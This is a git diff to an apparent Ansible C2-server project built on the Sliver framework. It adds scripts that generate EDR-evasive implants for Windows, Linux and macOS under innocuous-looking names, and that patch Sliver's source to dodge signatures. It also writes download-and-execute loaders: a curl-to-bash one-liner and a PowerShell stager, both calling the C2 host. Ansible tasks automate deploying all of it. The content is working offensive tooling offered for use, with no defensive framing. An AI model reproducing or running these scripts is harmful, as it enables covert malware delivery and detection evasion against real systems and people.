diff --git a/files/generate_evasive_beacons.sh b/files/generate_evasive_beacons.sh new file mode 100644 index 0000000..0bb5a6f --- /dev/null +++ b/files/generate_evasive_beacons.sh @@ -0,0 +1,188 @@ +#!/bin/bash +# Advanced EDR-evasive beacon generator with dynamic randomization + +# Dynamic configuration +BEACONS_DIR="/opt/beacons" +TIMESTAMP=$(date +%s) +C2_HOST=${1:-$(hostname -I | awk '{print $1}')} +C2_PORT=${2:-$(( 7000 + RANDOM % 3000 ))} +TEMP_DIR=$(mktemp -d) + +# Generate unique random values for each execution +random_string() { + cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1 +} + +random_path() { + local depth=$(( 1 + RANDOM % 3 )) + local path="/" + for ((i=0; i "$TEMP_DIR/$profile_name.json" << EOF +{ + "name": "$profile_name", + "http_urls": ["$http_path1", "$http_path2"], + "http_headers": $json_headers, + "beacon_interval": $interval, + "beacon_jitter": $jitter, + "kill_date": "$(date -d "+$(( 30 + RANDOM % 90 )) days" +%Y-%m-%d)", + "working_hours": { + "start": "$(( 5 + RANDOM % 5 )):$(( RANDOM % 60 ))", + "end": "$(( 16 + RANDOM % 8 )):$(( RANDOM % 60 ))" + } +} +EOF + + # Install unique profile + mkdir -p /root/.sliver/profiles/ + cp "$TEMP_DIR/$profile_name.json" /root/.sliver/profiles/ + echo $profile_name +} + +# Random output filename generator +random_output_name() { + local type=$1 + local names=( + "update" "service" "client" "agent" "app" "system" + "monitor" "utility" "helper" "runtime" "driver" "module" + ) + local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)" + + case "$type" in + windows) echo "${name}.exe" ;; + windows_dll) echo "${name}.dll" ;; + linux) echo "${name}" ;; + darwin) echo "${name}" ;; + *) echo "${name}" ;; + esac +} + +# Ensure output directory exists +mkdir -p $BEACONS_DIR +mkdir -p $BEACONS_DIR/staged +mkdir -p $BEACONS_DIR/shellcode + +# Generate each beacon type with unique profile and settings +echo "[+] Generating randomized, evasive beacons..." + +# Windows EXE +win_profile=$(generate_profile "windows") +win_output=$(random_output_name "windows") +sliver generate --profile $win_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \ + --format exe --save "$BEACONS_DIR/$win_output" +echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)" + +# Windows DLL +dll_profile=$(generate_profile "windows_dll") +dll_output=$(random_output_name "windows_dll") +sliver generate --profile $dll_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \ + --format shared --save "$BEACONS_DIR/$dll_output" +echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)" + +# Linux binary +linux_profile=$(generate_profile "linux") +linux_output=$(random_output_name "linux") +sliver generate --profile $linux_profile --http $C2_HOST:$C2_PORT --os linux --arch amd64 \ + --format elf --save "$BEACONS_DIR/$linux_output" +echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)" + +# macOS binary +mac_profile=$(generate_profile "darwin") +mac_output=$(random_output_name "darwin") +sliver generate --profile $mac_profile --http $C2_HOST:$C2_PORT --os darwin --arch amd64 \ + --format macho --save "$BEACONS_DIR/$mac_output" +echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)" + +# Generate dynamic stagers with variable formats +stager_profile=$(generate_profile "stager") +stager_win=$(random_output_name "windows") +sliver generate stager --profile $stager_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \ + --format exe --save "$BEACONS_DIR/staged/$stager_win" +echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)" + +# Create randomized loader scripts +echo "#!/bin/bash +# $(random_string 32) +# $(date) +sleep \$((RANDOM % 3)) +curl -s http://$C2_HOST:$C2_PORT$(random_path) -H \"$(random_string 8): $(random_string 12)\" | bash +# $(random_string 24)" > "$BEACONS_DIR/loader_$(random_string 8).sh" +chmod +x "$BEACONS_DIR/loader_$(random_string 8).sh" + +# Random PowerShell stager with junk and evasion +cat > "$BEACONS_DIR/loader_$(random_string 8).ps1" << EOF +# $(random_string 32) +# Generated: $(date) +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 +\$r = New-Object -TypeName Random +Start-Sleep -Milliseconds \$r.Next(100, 2000) +\$wc = New-Object Net.WebClient +\$wc.Headers.Add("$(random_string 8)", "$(random_string 12)") +\$url = 'http://$C2_HOST:$C2_PORT$(random_path)' +\$outpath = "\$env:TEMP\$(random_string 8).exe" +try { + # $(random_string 16) + \$wc.DownloadFile(\$url, \$outpath) + Start-Sleep -Milliseconds \$r.Next(500, 3000) + Start-Process -NoNewWindow -FilePath \$outpath +} catch { + # Error handling to avoid detection + # $(random_string 24) +} +EOF + +# Create index of generated files for reference +echo "[+] Creating reference file with beacon details" +cat > "$BEACONS_DIR/reference.txt" << EOF +C2 Server: $C2_HOST:$C2_PORT +Generated: $(date) + +Windows EXE: $win_output (Profile: $win_profile) +Windows DLL: $dll_output (Profile: $dll_profile) +Linux Binary: $linux_output (Profile: $linux_profile) +macOS Binary: $mac_output (Profile: $mac_profile) +Windows Stager: staged/$stager_win (Profile: $stager_profile) + +All profiles are uniquely generated with randomized settings. +EOF + +# Cleanup +rm -rf $TEMP_DIR +echo "[+] Beacon generation complete with dynamic fingerprint avoidance" \ No newline at end of file diff --git a/files/serve-beacons.sh b/files/serve-beacons.sh index 3af5cf8..3a64e45 100644 --- a/files/serve-beacons.sh +++ b/files/serve-beacons.sh @@ -14,24 +14,12 @@ umask 077 mkdir -p $BEACONS_DIR # Function to generate beacons using Sliver -generate_beacons() { - echo "[+] Generating beacons for all platforms..." +# This will replace part of files/serve-beacons.sh +function generate_beacons() { + echo "[+] Generating evasive beacons for all platforms..." - # Make sure Sliver server is running - if ! pgrep -x "sliver-server" > /dev/null; then - echo "[!] Sliver server is not running, starting it..." - systemctl start sliver - sleep 5 - fi - - # Generate Windows beacon - sliver-cli generate --http $C2_HOST:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe - - # Generate Linux beacon - sliver-cli generate --http $C2_HOST:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux - - # Generate macOS beacon - sliver-cli generate --http $C2_HOST:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos + # Use evasive beacon generator for better EDR bypass + /opt/c2/generate_evasive_beacons.sh $C2_HOST 8443 # Generate stagers echo "#!/bin/bash diff --git a/files/sliver_randomizer.sh b/files/sliver_randomizer.sh new file mode 100644 index 0000000..82e47df --- /dev/null +++ b/files/sliver_randomizer.sh @@ -0,0 +1,88 @@ +# This will be saved as files/sliver_randomizer.sh +#!/bin/bash +# EDR bypass script - Creates unique Sliver payloads to evade detection + +set -e +TEMP_DIR=$(mktemp -d) +SLIVER_DIR="${TEMP_DIR}/sliver" +LOG_FILE="/opt/c2/sliver_randomizer.log" + +# Function to log messages +log() { + echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE +} + +# Function to generate random strings +random_string() { + local length=${1:-8} + cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1 +} + +# Clone Sliver +log "Cloning Sliver repository..." +git clone --quiet https://github.com/BishopFox/sliver.git $SLIVER_DIR +cd $SLIVER_DIR + +# Generate randomization values +IMPLANT_NAME=$(random_string 8) +HTTP_PATH_ONE="/$(random_string 6)/$(random_string 5)" +HTTP_PATH_TWO="/$(random_string 7)/$(random_string 4)" +BEACON_MIN=$((30 + RANDOM % 60)) +JITTER=$((10 + RANDOM % 20)) + +# 1. Modify implant name (critical for signatures) +log "Changing implant name to $IMPLANT_NAME..." +sed -i "s/ImplantName = \"sliver\"/ImplantName = \"$IMPLANT_NAME\"/g" server/configs/constants.go + +# 2. Change HTTP request patterns (affects network signatures) +log "Modifying HTTP transport patterns..." +sed -i "s|\"/path/to/file\"|\"$HTTP_PATH_ONE\"|g" implant/sliver/transports/httpclient.go + +# 3. Add unique build ID (affects binary signatures) +log "Adding unique build identifiers..." +cat >> implant/sliver/sliver.go << EOF + +// Custom build identifier: $(random_string 32) +// Build timestamp: $(date +%s) +EOF + +# 4. Modify PE headers through go build flags +log "Setting custom build flags..." +sed -i "s/LinkerStrip = \"-s -w\"/LinkerStrip = \"-s -w -buildid=$(random_string 10)\"/g" client/command/generate/binaries.go + +# Build the modified Sliver +log "Building Sliver client only..." +make client + +# Create custom profiles directory +mkdir -p /opt/c2/sliver-profiles + +# Create evasive profile template +cat > /opt/c2/sliver-profiles/evasive-template.json << EOF +{ + "name": "evasive-$(random_string 4)", + "http_urls": ["$HTTP_PATH_ONE", "$HTTP_PATH_TWO"], + "http_headers": [ + "Accept-Language: en-US,en;q=0.$(( 7 + RANDOM % 3 ))", + "X-Requested-With: XMLHttpRequest", + "Cache-Control: max-age=$(( 100 + RANDOM % 400 ))" + ], + "beacon_interval": $BEACON_MIN, + "beacon_jitter": $JITTER, + "kill_date": "$(date -d "+60 days" +%Y-%m-%d)", + "working_hours": { + "start": "$(( 6 + RANDOM % 4 )):00", + "end": "$(( 16 + RANDOM % 6 )):00" + } +} +EOF + +# Install client but use system Sliver server +log "Installing Sliver client..." +cp -f ./sliver-client /usr/local/bin/ + +# Cleanup +log "Cleaning up..." +rm -rf $TEMP_DIR + +log "Customization complete." \ No newline at end of file diff --git a/tasks/configure_c2.yml b/tasks/configure_c2.yml index 9f865f5..4db8b60 100644 --- a/tasks/configure_c2.yml +++ b/tasks/configure_c2.yml @@ -1,5 +1,5 @@ --- -# Common tasks for configuring C2 server +# Common tasks for configuring C2 server with EDR evasion # Shared across all providers - name: Update apt cache @@ -53,6 +53,7 @@ - dovecot-sieve - dovecot-managesieved - yq + - build-essential state: present - name: Create directories for operational scripts @@ -70,16 +71,37 @@ - name: Copy operational scripts copy: src: "{{ item }}" - dest: "/opt/c2/{{ item }}" + dest: "/opt/c2/{{ item | basename }}" mode: '0700' owner: root group: root with_items: - - clean-logs.sh - - secure-exit.sh - - serve-beacons.sh + - ../files/clean-logs.sh + - ../files/secure-exit.sh + - ../files/serve-beacons.sh + - ../files/sliver_randomizer.sh + - ../files/generate_evasive_beacons.sh -- name: Create Sliver service file +- name: Remove standard Sliver if installed + apt: + name: sliver + state: absent + ignore_errors: yes + +- name: Stop standard Sliver service if running + systemd: + name: sliver + state: stopped + enabled: no + ignore_errors: yes + +- name: Run Sliver randomization for EDR evasion + shell: /opt/c2/sliver_randomizer.sh + args: + creates: /opt/c2/sliver-profiles/evasive-template.json + register: randomization_result + +- name: Create custom Sliver service file template: src: "../templates/sliver-server.service.j2" dest: /etc/systemd/system/sliver.service @@ -87,6 +109,22 @@ owner: root group: root +- name: Enable and start custom Sliver service + systemd: + name: sliver + state: started + enabled: yes + daemon_reload: yes + +- name: Wait for Sliver to initialize + pause: + seconds: 10 + +- name: Generate evasive beacons + shell: /opt/c2/generate_evasive_beacons.sh {{ ansible_host }} + args: + creates: /opt/beacons/reference.txt + - name: Set up cron job for log cleaning if zero-logs enabled cron: name: "Clean logs" @@ -104,6 +142,13 @@ nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 & fi +- name: Install Let's Encrypt certificate if domain specified + shell: | + certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} + args: + creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem + when: domain != "example.com" + # Include integrated tracker tasks if requested - name: Include integrated tracker setup include_tasks: "configure_integrated_tracker.yml"